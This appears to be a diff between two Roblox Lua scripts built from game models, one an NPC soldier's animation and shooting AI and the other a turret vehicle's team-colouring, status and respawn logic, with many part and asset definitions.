| 617 | + | local part = raw_model[i] |
| 618 | if(part ~= nil and part.className == "Part") then | |
| 619 | part.BrickColor = myColor | |
| 620 | - | if (pose == "FreeFall" and jumpAnimTime <= 0) then |
| 620 | + | end |
| 621 | - | playAnimation("fall", fallTransitionTime, Humanoid)
|
| 621 | + | end |
| 622 | - | elseif (pose == "Seated") then |
| 622 | + | |
| 623 | - | stopAllAnimations() |
| 623 | + | function setTeam() |
| 624 | - | moveSit() |
| 624 | + | local isTeamGame = script.Parent.Parent.TeamGame.Value |
| 625 | - | return |
| 625 | + | local BSensor = script.Parent:findFirstChild("BSensor")
|
| 626 | - | elseif (pose == "Running") then |
| 626 | + | local Engine = script.Parent:findFirstChild("Engine")
|
| 627 | - | playAnimation("walk", 0.1, Humanoid)
|
| 627 | + | local SHead = nil |
| 628 | - | elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then |
| 628 | + | if(StatusBrick ~= nil) then |
| 629 | - | -- print("Wha " .. pose)
|
| 629 | + | SHead = StatusBrick:findFirstChild("Head")
|
| 630 | - | amplitude = 0.1 |
| 630 | + | |
| 631 | - | frequency = 1 |
| 631 | + | if(isTeamGame == true) then |
| 632 | - | setAngles = true |
| 632 | + | retriveParts(script.Parent.Parent.BodyWork.TeamColors,script.Parent.Parent.TeamColor.Value) |
| 633 | if(SHead ~= nil) then | |
| 634 | SHead.BrickColor = script.Parent.Parent.TeamColor.Value | |
| 635 | - | if (setAngles) then |
| 635 | + | |
| 636 | - | desiredAngle = amplitude * math.sin(time * frequency) |
| 636 | + | if(BSensor ~= nil) then |
| 637 | BSensor.BrickColor = script.Parent.Parent.TeamColor.Value | |
| 638 | - | RightHip:SetDesiredAngle(-desiredAngle) |
| 638 | + | |
| 639 | - | LeftHip:SetDesiredAngle(-desiredAngle) |
| 639 | + | if(Engine ~= nil) then |
| 640 | Engine.BrickColor = script.Parent.Parent.TeamColor.Value | |
| 641 | end | |
| 642 | - | -- Tool Animation handling |
| 642 | + | |
| 643 | - | local tool = getTool() |
| 643 | + | retriveParts(script.Parent.Parent.BodyWork.TeamColors,BrickColor.new("Dark stone grey"))
|
| 644 | - | if tool then |
| 644 | + | if(SHead ~= nil) then |
| 645 | SHead.BrickColor = BrickColor.new("Dark stone grey")
| |
| 646 | - | animStringValueObject = getToolAnim(tool) |
| 646 | + | |
| 647 | if(BSensor ~= nil) then | |
| 648 | - | if animStringValueObject then |
| 648 | + | BSensor.BrickColor = BrickColor.new("Dark stone grey")
|
| 649 | - | toolAnim = animStringValueObject.Value |
| 649 | + | |
| 650 | - | -- message recieved, delete StringValue |
| 650 | + | if(Engine ~= nil) then |
| 651 | - | animStringValueObject.Parent = nil |
| 651 | + | Engine.BrickColor = BrickColor.new("Dark stone grey")
|
| 652 | - | toolAnimTime = time + .3 |
| 652 | + | |
| 653 | end | |
| 654 | end | |
| 655 | - | if time > toolAnimTime then |
| 655 | + | updateTurrets() |
| 656 | - | toolAnimTime = 0 |
| 656 | + | ZombieTarget.Changed:connect(updateTurrets) |
| 657 | - | toolAnim = "None" |
| 657 | + | HumanoidTarget.Changed:connect(updateTurrets) |
| 658 | isTeamGame.Changed:connect(updateTurrets) | |
| 659 | MyTeamColor.Changed:connect(updateTurrets) | |
| 660 | - | animateTool() |
| 660 | + | SightRadius.Changed:connect(updateTurrets) |
| 661 | end)) | |
| 662 | - | stopToolAnimations() |
| 662 | + | Model13.Name = "Status : " |
| 663 | - | toolAnim = "None" |
| 663 | + | Model13.Parent = Model1 |
| 664 | - | toolAnimTime = 0 |
| 664 | + | Humanoid14.Parent = Model13 |
| 665 | Humanoid14.Health = 0 | |
| 666 | Humanoid14.MaxHealth = 0 | |
| 667 | - | |
| 667 | + | Script15.Parent = Model13 |
| 668 | - | -- connect events |
| 668 | + | table.insert(cors,sandbox(Script15,function() |
| 669 | - | Humanoid.Died:connect(onDied) |
| 669 | + | local myStatus = script.Parent.Parent.MyStatus |
| 670 | - | Humanoid.Running:connect(onRunning) |
| 670 | + | |
| 671 | - | Humanoid.Jumping:connect(onJumping) |
| 671 | + | |
| 672 | - | Humanoid.Climbing:connect(onClimbing) |
| 672 | + | local Patroling = script.Parent.Parent.Patroling |
| 673 | - | Humanoid.GettingUp:connect(onGettingUp) |
| 673 | + | if(Patroling.Value == false) then |
| 674 | - | Humanoid.FreeFalling:connect(onFreeFall) |
| 674 | + | script.Parent.Name = "Status : "..myStatus.Value |
| 675 | - | Humanoid.FallingDown:connect(onFallingDown) |
| 675 | + | |
| 676 | - | Humanoid.Seated:connect(onSeated) |
| 676 | + | script.Parent.Name ="Patroling to Waypoint "..script.Parent.Parent.PatrolPoint.Value |
| 677 | - | Humanoid.PlatformStanding:connect(onPlatformStanding) |
| 677 | + | |
| 678 | - | Humanoid.Swimming:connect(onSwimming) |
| 678 | + | wait(.1) |
| 679 | - | -- main program |
| 679 | + | |
| 680 | - | |
| 680 | + | |
| 681 | - | local runService = game:service("RunService");
|
| 681 | + | Part16.Name = "Head" |
| 682 | - | |
| 682 | + | Part16.Parent = Model13 |
| 683 | - | -- initialize to idle |
| 683 | + | Part16.BrickColor = BrickColor.new("White")
|
| 684 | - | playAnimation("idle", 0.1, Humanoid)
|
| 684 | + | Part16.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 685 | - | pose = "Standing" |
| 685 | + | Part16.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 686 | - | |
| 686 | + | Part16.Velocity = Vector3.new(0.0491989553, 1.04357886, 14.4499683) |
| 687 | - | while Figure.Parent~=nil do |
| 687 | + | Part16.Size = Vector3.new(8, 1.20000005, 3) |
| 688 | - | local _, time = wait(0.1) |
| 688 | + | Part16.CFrame = CFrame.new(-46.0087509, 5.89088535, 136.458984, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647) |
| 689 | - | move(time) |
| 689 | + | Part16.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 690 | Part16.Position = Vector3.new(-46.0087509, 5.89088535, 136.458984) | |
| 691 | Part16.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 692 | Part16.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 693 | - | StringValue22.Name = "climb" |
| 693 | + | IntValue17.Name = "PatrolPoint" |
| 694 | - | StringValue22.Parent = Script21 |
| 694 | + | IntValue17.Parent = Model1 |
| 695 | - | Animation23.Name = "ClimbAnim" |
| 695 | + | BoolValue18.Name = "Patroling" |
| 696 | - | Animation23.Parent = StringValue22 |
| 696 | + | BoolValue18.Parent = Model1 |
| 697 | - | Animation23.AnimationId = "http://www.roblox.com/asset/?id=125750800" |
| 697 | + | Script19.Name = "REGENScript" |
| 698 | - | StringValue24.Name = "fall" |
| 698 | + | Script19.Parent = Model1 |
| 699 | - | StringValue24.Parent = Script21 |
| 699 | + | table.insert(cors,sandbox(Script19,function() |
| 700 | - | Animation25.Name = "FallAnim" |
| 700 | + | model = script.Parent.Parent |
| 701 | - | Animation25.Parent = StringValue24 |
| 701 | + | backup = model:clone() |
| 702 | - | Animation25.AnimationId = "http://www.roblox.com/asset/?id=125750759" |
| 702 | + | active = false |
| 703 | - | StringValue26.Name = "idle" |
| 703 | + | |
| 704 | - | StringValue26.Parent = Script21 |
| 704 | + | function getOwnTurrets(base) |
| 705 | - | Animation27.Name = "Animation1" |
| 705 | + | local bits = base:children() |
| 706 | - | Animation27.Parent = StringValue26 |
| 706 | + | local Turrets = {}
|
| 707 | - | Animation27.AnimationId = "http://www.roblox.com/asset/?id=125750544" |
| 707 | + | local Tnum = 1 |
| 708 | - | NumberValue28.Name = "Weight" |
| 708 | + | for i=1,#bits do |
| 709 | - | NumberValue28.Parent = Animation27 |
| 709 | + | local tmp = bits[i] |
| 710 | - | NumberValue28.Value = 9 |
| 710 | + | local TurretBrain = tmp:findFirstChild("Brain")
|
| 711 | - | Animation29.Name = "Animation2" |
| 711 | + | if(TurretBrain ~= nil) then |
| 712 | - | Animation29.Parent = StringValue26 |
| 712 | + | Turrets[Tnum] = TurretBrain.Parent |
| 713 | - | Animation29.AnimationId = "http://www.roblox.com/asset/?id=125750618" |
| 713 | + | Tnum = Tnum +1 |
| 714 | - | NumberValue30.Name = "Weight" |
| 714 | + | |
| 715 | - | NumberValue30.Parent = Animation29 |
| 715 | + | |
| 716 | - | NumberValue30.Value = 1 |
| 716 | + | if(#Turrets > 0) then |
| 717 | - | StringValue31.Name = "jump" |
| 717 | + | return Turrets |
| 718 | - | StringValue31.Parent = Script21 |
| 718 | + | |
| 719 | - | Animation32.Name = "JumpAnim" |
| 719 | + | |
| 720 | - | Animation32.Parent = StringValue31 |
| 720 | + | |
| 721 | - | Animation32.AnimationId = "http://www.roblox.com/asset/?id=125750702" |
| 721 | + | |
| 722 | - | StringValue33.Name = "run" |
| 722 | + | local MyTurrets = getOwnTurrets(model) |
| 723 | - | StringValue33.Parent = Script21 |
| 723 | + | local NumTurrets = 0 |
| 724 | - | Animation34.Name = "RunAnim" |
| 724 | + | local TDes = 0 |
| 725 | - | Animation34.Parent = StringValue33 |
| 725 | + | if(MyTurrets ~= nil) then -- disable the turrets regen script |
| 726 | - | Animation34.AnimationId = "http://www.roblox.com/asset/?id=125749145" |
| 726 | + | NumTurrets = #MyTurrets |
| 727 | - | StringValue35.Name = "toolnone" |
| 727 | + | for i=1,#MyTurrets do |
| 728 | - | StringValue35.Parent = Script21 |
| 728 | + | local TurretRegenScript = MyTurrets[i]:findFirstChild("RegenScript")
|
| 729 | - | Animation36.Name = "ToolNoneAnim" |
| 729 | + | if(TurretRegenScript ~= nil) then |
| 730 | - | Animation36.Parent = StringValue35 |
| 730 | + | TurretRegenScript.Disabled = true |
| 731 | - | Animation36.AnimationId = "http://www.roblox.com/asset/?id=125750867" |
| 731 | + | end |
| 732 | - | StringValue37.Name = "walk" |
| 732 | + | |
| 733 | - | StringValue37.Parent = Script21 |
| 733 | + | |
| 734 | - | Animation38.Name = "WalkAnim" |
| 734 | + | function Regen(part) |
| 735 | - | Animation38.Parent = StringValue37 |
| 735 | + | if(MyTurrets ~= nil) then |
| 736 | - | Animation38.AnimationId = "http://www.roblox.com/asset/?id=125749145" |
| 736 | + | for i=1,#MyTurrets do |
| 737 | - | Script39.Name = "Control" |
| 737 | + | if(MyTurrets[i]:findFirstChild("Brain") ~= nil) then
|
| 738 | - | Script39.Parent = Model0 |
| 738 | + | local Check = MyTurrets[i].Brain.Destroyed.Value |
| 739 | - | table.insert(cors,sandbox(Script39,function() |
| 739 | + | if(Check == true) then |
| 740 | TDes=TDes+1 | |
| 741 | - | local ammo=29 |
| 741 | + | break |
| 742 | - | local w=.14 |
| 742 | + | |
| 743 | - | local r=false |
| 743 | + | |
| 744 | - | local t=script.Parent |
| 744 | + | TDes=TDes+1 |
| 745 | - | Spawn(function() |
| 745 | + | break |
| 746 | - | local c=t:Clone() |
| 746 | + | |
| 747 | - | t.Humanoid.Died:wait() |
| 747 | + | |
| 748 | - | t.Handle:Destroy() |
| 748 | + | |
| 749 | - | script.Parent.Head.Die:Play() |
| 749 | + | if(NumTurrets == TDes or script.Parent:findFirstChild("Engine") == nil) then
|
| 750 | - | |
| 750 | + | if(active == false) then |
| 751 | - | wait(3) |
| 751 | + | active = true |
| 752 | - | c.Parent=workspace |
| 752 | + | script.Parent:breakJoints() |
| 753 | - | c:MakeJoints() |
| 753 | + | if(script.Parent:findFirstChild("Brain") ~= nil) then
|
| 754 | - | t:Destroy() |
| 754 | + | script.Parent.Brain.Destroyed.Value = true |
| 755 | - | |
| 755 | + | |
| 756 | wait(1) | |
| 757 | - | local cf={CFrame.new(.8,.5,.4)*CFrame.Angles(math.rad(270),math.rad(40),0),CFrame.new(-1.2,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(-5),0)}
|
| 757 | + | model:remove() |
| 758 | - | local c=LoadLibrary'RbxUtility'.Create |
| 758 | + | model = backup:Clone() |
| 759 | - | local b1=c'Part'{TopSurface=0;BottomSurface=0;Anchored=true;CanCollide=false;Material="Neon";Transparency=0.3;BrickColor=BrickColor.Yellow();Size=Vector3.new(.2,.2,1);c'BlockMesh'{Scale=Vector3.new(.2,.2,1)}}
|
| 759 | + | wait(10) |
| 760 | - | local b2=b1:Clone() |
| 760 | + | model.Parent = game.Workspace |
| 761 | - | b1.Name,b2.Name='1','2' |
| 761 | + | model:MakeJoints() |
| 762 | - | local mov=c'Part'{Transparency=1;CanCollide=false;Parent=t;Anchored=true}
|
| 762 | + | |
| 763 | - | local h=t:WaitForChild'Handle' |
| 763 | + | |
| 764 | - | local function reload(boo) |
| 764 | + | |
| 765 | - | if(boo and ammo~=30)or ammo==0 then |
| 765 | + | function retriveParts(model,myColor) |
| 766 | - | r=true |
| 766 | + | local raw_model = model:GetChildren() |
| 767 | - | if w then |
| 767 | + | for i=1,#raw_model do |
| 768 | - | w=.03 |
| 768 | + | local part = raw_model[i] |
| 769 | if(part ~= nil) then | |
| 770 | - | h.Reload:Play() |
| 770 | + | part.BrickColor = myColor |
| 771 | - | wait(3) |
| 771 | + | end |
| 772 | - | ammo=30 |
| 772 | + | end |
| 773 | - | if w then |
| 773 | + | |
| 774 | - | w=.14 |
| 774 | + | |
| 775 | function setTeam(Turret) | |
| 776 | - | r=false |
| 776 | + | local brain = Turret.Brain |
| 777 | - | elseif boo then |
| 777 | + | local isTeamGame = script.Parent.Parent.TeamGame.Value |
| 778 | if(isTeamGame == true) then | |
| 779 | retriveParts(Turret.BodyKit.TeamColorBricks,script.Parent.Parent.TeamColor.Value) | |
| 780 | if(brain:findFirstChild("Point") ~= nil) then
| |
| 781 | - | local function near() |
| 781 | + | brain.Point.BrickColor = script.Parent.Parent.TeamColor.Value |
| 782 | - | local dis,pl=200,nil |
| 782 | + | |
| 783 | if(brain:findFirstChild("TurretEngine") ~= nil) then
| |
| 784 | - | for _,v in ipairs(game.Players:GetPlayers())do |
| 784 | + | brain.TurretEngine.BrickColor = script.Parent.Parent.TeamColor.Value |
| 785 | - | if v.Character and v.Character:FindFirstChild'Humanoid'and v:DistanceFromCharacter(h.Position)<dis then |
| 785 | + | |
| 786 | - | dis,pl=v:DistanceFromCharacter(h.Position),v |
| 786 | + | if(script.Parent:findFirstChild("Head") ~= nil) then
|
| 787 | script.Parent.Head.BrickColor = script.Parent.Parent.TeamColor.Value | |
| 788 | end | |
| 789 | else | |
| 790 | - | |
| 790 | + | retriveParts(Turret.BodyKit.TeamColorBricks,BrickColor.new("Dark stone grey"))
|
| 791 | if(brain:findFirstChild("Point") ~= nil) then
| |
| 792 | brain.Point.BrickColor = BrickColor.new("Dark stone grey")
| |
| 793 | end | |
| 794 | - | if pl then |
| 794 | + | if(brain:findFirstChild("TurretEngine") ~= nil) then
|
| 795 | - | return pl.Character:GetModelCFrame(),dis,CFrame.new(pl.Character.Humanoid.WalkToPoint).lookVector |
| 795 | + | brain.TurretEngine.BrickColor = BrickColor.new("Dark stone grey")
|
| 796 | end | |
| 797 | if(script.Parent:findFirstChild("Head") ~= nil) then
| |
| 798 | script.Parent.Head.BrickColor = BrickColor.new("Dark stone grey")
| |
| 799 | end | |
| 800 | end | |
| 801 | end | |
| 802 | function color() | |
| 803 | - | Spawn(function() |
| 803 | + | if(MyTurrets ~= nil) then |
| 804 | - | while true do |
| 804 | + | for i=1,#MyTurrets do |
| 805 | - | t.Humanoid.Jump=true |
| 805 | + | setTeam(MyTurrets[i]) |
| 806 | - | while not w do wait(4)end |
| 806 | + | |
| 807 | - | for i=1,math.random(150,160)do |
| 807 | + | |
| 808 | - | wait(w) |
| 808 | + | |
| 809 | color() | |
| 810 | script.Parent.Parent.TeamColor.Changed:connect(color) | |
| 811 | script.Parent.Parent.TeamGame.Changed:connect(color) | |
| 812 | - | Spawn(function() |
| 812 | + | |
| 813 | - | while wait(math.random(2,7)/10)do |
| 813 | + | script.Parent.ChildRemoved:connect(Regen) |
| 814 | - | local n=near() |
| 814 | + | |
| 815 | - | if n and math.random(1,7)==2 or not n then |
| 815 | + | Model20.Name = "BodyWork" |
| 816 | - | mov.CFrame=t.Torso.CFrame+t.Torso.CFrame.lookVector*Vector3.new(math.random(-50,50),0,math.random(-35,50)) |
| 816 | + | Model20.Parent = Model0 |
| 817 | Model21.Name = "TeamColors" | |
| 818 | - | mov.CFrame=n+Vector3.new((math.random(1,2)==1 and 1 or -1)*math.random(25,50),0,(math.random(1,2)==1 and 1 or -1)*math.random(25,50)) |
| 818 | + | Model21.Parent = Model20 |
| 819 | Part22.Name = "Smooth Block Model" | |
| 820 | - | wait(0.4) |
| 820 | + | Part22.Parent = Model21 |
| 821 | - | t.Humanoid:MoveTo(mov.Position,mov) |
| 821 | + | Part22.BrickColor = BrickColor.new("White")
|
| 822 | Part22.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) | |
| 823 | Part22.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 824 | Part22.Velocity = Vector3.new(-0.367865503, -0.265364259, 14.2862606) | |
| 825 | Part22.Size = Vector3.new(6, 1.20000005, 1) | |
| 826 | - | local n,mag,hum=near() |
| 826 | + | Part22.CFrame = CFrame.new(-49.5902138, 8.34037495, 125.99807, -0.00775468862, -6.74084877e-05, 0.999963939, 0.00475055212, 0.999988735, 0.000104216793, -0.999950647, 0.00475121522, -0.00775363203) |
| 827 | - | if n then |
| 827 | + | Part22.TopSurface = Enum.SurfaceType.Smooth |
| 828 | - | n=n.p |
| 828 | + | Part22.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 829 | - | if not r then |
| 829 | + | Part22.Position = Vector3.new(-49.5902138, 8.34037495, 125.99807) |
| 830 | - | w=.0001 |
| 830 | + | Part22.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) |
| 831 | - | local dir=h.Position-n |
| 831 | + | Part22.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 832 | - | local tst,_=workspace:FindPartOnRay(Ray.new(t.Torso.Position,(n-t.Torso.Position).Unit*99999),t) |
| 832 | + | SpecialMesh23.Parent = Part22 |
| 833 | - | local aim=n+Vector3.new(math.random(-mag*.008,mag*.008),math.random(-mag*.009,mag*.009),math.random(-mag*.1,mag*.1))*(2+math.random())+hum |
| 833 | + | SpecialMesh23.MeshType = Enum.MeshType.Wedge |
| 834 | - | if tst and tst.Parent and game.Players:GetPlayerFromCharacter(tst.Parent)then |
| 834 | + | Part24.Name = "Smooth Block Model" |
| 835 | - | |
| 835 | + | Part24.Parent = Model21 |
| 836 | - | wait(0.04) |
| 836 | + | Part24.BrickColor = BrickColor.new("White")
|
| 837 | - | h.Fire:Play() |
| 837 | + | Part24.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5) |
| 838 | - | local par,pos=workspace:FindPartOnRay(Ray.new(h.Position,(aim-h.Position).Unit*99999),t) |
| 838 | + | Part24.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 839 | - | if par then |
| 839 | + | Part24.Velocity = Vector3.new(-0.7984761, -1.38712049, 14.5493574) |
| 840 | - | local h=par.Parent:FindFirstChild'Humanoid'or par.Parent.Parent:FindFirstChild'Humanoid' |
| 840 | + | Part24.Size = Vector3.new(1, 2.4000001, 1) |
| 841 | - | if h and h.Health-10>0 then |
| 841 | + | Part24.CFrame = CFrame.new(-39.6406097, 2.97235489, 119.39518, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321) |
| 842 | - | h.Health=h.Health-10 |
| 842 | + | Part24.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 843 | - | elseif h then |
| 843 | + | Part24.Position = Vector3.new(-39.6406097, 2.97235489, 119.39518) |
| 844 | - | h.Health=0 |
| 844 | + | Part24.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) |
| 845 | - | h.Parent:BreakJoints() |
| 845 | + | Part24.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 846 | - | |
| 846 | + | Part25.Name = "Smooth Block Model" |
| 847 | Part25.Parent = Model21 | |
| 848 | Part25.BrickColor = BrickColor.new("White")
| |
| 849 | - | ammo=ammo-1 |
| 849 | + | Part25.Rotation = Vector3.new(0.269999981, 0.439999998, 0) |
| 850 | - | mag=(h.Position-pos).magnitude |
| 850 | + | Part25.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 851 | - | b1.Parent,b2.Parent=t,t |
| 851 | + | Part25.Velocity = Vector3.new(-0.299503148, -0.021796599, 14.3676777) |
| 852 | - | b1.CFrame,b2.CFrame=CFrame.new(h.Position:Lerp(pos,.375),pos),CFrame.new(pos:Lerp(h.Position,.125),h.Position) |
| 852 | + | Part25.Size = Vector3.new(8, 2.4000001, 13) |
| 853 | - | b1.Mesh.Scale,b2.Mesh.Scale=Vector3.new(.2,.2,mag*.75),Vector3.new(.2,.2,mag/4) |
| 853 | + | Part25.CFrame = CFrame.new(-46.0708313, 6.52888298, 128.46225, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886) |
| 854 | - | Delay(.03,function()b1.Parent=nil wait(.03)b2.Parent=nil end) |
| 854 | + | Part25.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 855 | Part25.Position = Vector3.new(-46.0708313, 6.52888298, 128.46225) | |
| 856 | - | wait(.05) |
| 856 | + | Part25.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) |
| 857 | - | if ammo==0 then |
| 857 | + | Part25.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 858 | - | reload() |
| 858 | + | Part26.Name = "Smooth Block Model" |
| 859 | Part26.Parent = Model21 | |
| 860 | Part26.BrickColor = BrickColor.new("White")
| |
| 861 | Part26.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 862 | - | reload(true) |
| 862 | + | Part26.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 863 | - | w=false |
| 863 | + | Part26.Velocity = Vector3.new(-0.478259712, -0.29052186, 14.8473902) |
| 864 | Part26.CanCollide = false | |
| 865 | Part26.Size = Vector3.new(8, 2.4000001, 3) | |
| 866 | Part26.CFrame = CFrame.new(-46.0861168, 2.93842912, 126.445259, -0.999960184, -6.74177281e-05, -0.00775485486, -0.000104206258, 0.999988735, 0.00475054141, 0.00775339734, 0.00475120265, -0.999945641) | |
| 867 | Part26.BackSurface = Enum.SurfaceType.Weld | |
| 868 | - | Shirt40.Name = "Shirt" |
| 868 | + | Part26.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 869 | - | Shirt40.Parent = Model0 |
| 869 | + | Part26.Position = Vector3.new(-46.0861168, 2.93842912, 126.445259) |
| 870 | - | Shirt40.ShirtTemplate = "http://www.roblox.com/asset/?id=26349286" |
| 870 | + | Part26.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) |
| 871 | - | Pants41.Name = "Pants" |
| 871 | + | Part26.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 872 | - | Pants41.Parent = Model0 |
| 872 | + | Part27.Name = "Smooth Block Model" |
| 873 | - | Pants41.PantsTemplate = "http://www.roblox.com/asset/?id=26349271" |
| 873 | + | Part27.Parent = Model21 |
| 874 | - | Hat42.Name = "Helm" |
| 874 | + | Part27.BrickColor = BrickColor.new("White")
|
| 875 | - | Hat42.Parent = Model0 |
| 875 | + | Part27.Rotation = Vector3.new(-179.729996, -0.439999998, 180) |
| 876 | - | Hat42.AttachmentForward = Vector3.new(0, -0.196116135, -0.980580688) |
| 876 | + | Part27.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 877 | - | Hat42.AttachmentPos = Vector3.new(0, -0.100000001, -0.0700000003) |
| 877 | + | Part27.Velocity = Vector3.new(0.0785052627, 1.04434216, 14.2898769) |
| 878 | - | Hat42.AttachmentUp = Vector3.new(0, 0.980580688, -0.196116135) |
| 878 | + | Part27.Size = Vector3.new(8, 1.20000005, 3) |
| 879 | - | Part43.Name = "Handle" |
| 879 | + | Part27.CFrame = CFrame.new(-46.008831, 7.09087038, 136.464691, -0.99996376, -6.74089242e-05, -0.00775469653, -0.000104216291, 0.999988735, 0.00475055166, 0.00775362086, 0.00475121476, -0.999950409) |
| 880 | - | Part43.Parent = Hat42 |
| 880 | + | Part27.TopSurface = Enum.SurfaceType.Smooth |
| 881 | - | Part43.Material = Enum.Material.CorrodedMetal |
| 881 | + | Part27.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 882 | - | Part43.BrickColor = BrickColor.new("Black")
|
| 882 | + | Part27.Position = Vector3.new(-46.008831, 7.09087038, 136.464691) |
| 883 | - | Part43.Rotation = Vector3.new(90, -78.6899948, 90) |
| 883 | + | Part27.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) |
| 884 | - | Part43.CanCollide = false |
| 884 | + | Part27.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 885 | - | Part43.FormFactor = Enum.FormFactor.Symmetric |
| 885 | + | SpecialMesh28.Parent = Part27 |
| 886 | - | Part43.Size = Vector3.new(1, 1, 1) |
| 886 | + | SpecialMesh28.MeshType = Enum.MeshType.Wedge |
| 887 | - | Part43.CFrame = CFrame.new(12.3637447, 5.08433008, 63.8128319, -5.73683906e-07, -0.196116149, -0.980580688, 7.667877e-09, 0.980580688, -0.196116149, 1, -1.2002765e-07, -5.61039542e-07) |
| 887 | + | Part29.Name = "Smooth Block Model" |
| 888 | - | Part43.BottomSurface = Enum.SurfaceType.Smooth |
| 888 | + | Part29.Parent = Model21 |
| 889 | Part29.BrickColor = BrickColor.new("White")
| |
| 890 | - | Part43.Color = Color3.new(0.164706, 0.176471, 0.0823529) |
| 890 | + | Part29.Rotation = Vector3.new(-179.729996, -0.439999998, 180) |
| 891 | - | Part43.Position = Vector3.new(12.3637447, 5.08433008, 63.8128319) |
| 891 | + | Part29.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 892 | - | Part43.Orientation = Vector3.new(11.3099995, -90, 0) |
| 892 | + | Part29.Velocity = Vector3.new(0.184230506, 1.35490179, 14.2913895) |
| 893 | - | Part43.Color = Color3.new(0.164706, 0.176471, 0.0823529) |
| 893 | + | Part29.Size = Vector3.new(1, 1.20000005, 3) |
| 894 | Part29.CFrame = CFrame.new(-42.4856148, 5.8769908, 139.431702, -0.999964118, -6.74080511e-05, -0.0077546807, -0.000104217295, 0.999988735, 0.00475055259, 0.00775364321, 0.00475121569, -0.999950886) | |
| 895 | - | SpecialMesh44.MeshId = "http://www.roblox.com/asset/?id=45609892" |
| 895 | + | Part29.TopSurface = Enum.SurfaceType.Smooth |
| 896 | - | SpecialMesh44.Offset = Vector3.new(0, 0.0500000007, -0.150000006) |
| 896 | + | Part29.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 897 | - | SpecialMesh44.Scale = Vector3.new(1.5, 1.5, 1.5) |
| 897 | + | Part29.Position = Vector3.new(-42.4856148, 5.8769908, 139.431702) |
| 898 | - | SpecialMesh44.MeshType = Enum.MeshType.FileMesh |
| 898 | + | Part29.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) |
| 899 | - | SpecialMesh44.Scale = Vector3.new(1.5, 1.5, 1.5) |
| 899 | + | Part29.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 900 | - | Part45.Name = "Handle" |
| 900 | + | SpecialMesh30.Parent = Part29 |
| 901 | - | Part45.Parent = Model0 |
| 901 | + | SpecialMesh30.MeshType = Enum.MeshType.Wedge |
| 902 | - | Part45.BrickColor = BrickColor.new("Dark stone grey")
|
| 902 | + | Part31.Name = "Smooth Block Model" |
| 903 | - | Part45.Transparency = 1 |
| 903 | + | Part31.Parent = Model21 |
| 904 | - | Part45.Rotation = Vector3.new(0, 5, 0) |
| 904 | + | Part31.BrickColor = BrickColor.new("White")
|
| 905 | - | Part45.CanCollide = false |
| 905 | + | Part31.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5) |
| 906 | - | Part45.FormFactor = Enum.FormFactor.Symmetric |
| 906 | + | Part31.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) |
| 907 | - | Part45.Size = Vector3.new(2, 1, 1) |
| 907 | + | Part31.Velocity = Vector3.new(-0.364712536, 0.0425226092, 14.8480921) |
| 908 | - | Part45.CFrame = CFrame.new(14.0334444, 3.5999999, 64.678299, 0.99619478, 2.74879053e-09, 0.0871551633, -3.49720697e-09, 1, 8.4344931e-09, -0.0871551633, -8.70719674e-09, 0.99619478) |
| 908 | + | Part31.Size = Vector3.new(2, 2.4000001, 14) |
| 909 | - | Part45.RightSurface = Enum.SurfaceType.Hinge |
| 909 | + | Part31.CFrame = CFrame.new(-46.0667114, 2.92655301, 128.945099, -0.00775472028, -6.74102412e-05, 0.999963224, 0.00475054979, 0.999988735, 0.000104214785, -0.999949694, 0.00475121289, -0.00775358733) |
| 910 | - | Part45.Color = Color3.new(0.388235, 0.372549, 0.384314) |
| 910 | + | Part31.LeftSurface = Enum.SurfaceType.Weld |
| 911 | - | Part45.Position = Vector3.new(14.0334444, 3.5999999, 64.678299) |
| 911 | + | Part31.Color = Color3.new(0.94902, 0.952941, 0.952941) |
| 912 | - | Part45.Orientation = Vector3.new(0, 5, 0) |
| 912 | + | Part31.Position = Vector3.new(-46.0667114, 2.92655301, 128.945099) |
| 913 | - | Part45.Color = Color3.new(0.388235, 0.372549, 0.384314) |
| 913 | + | Part31.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) |
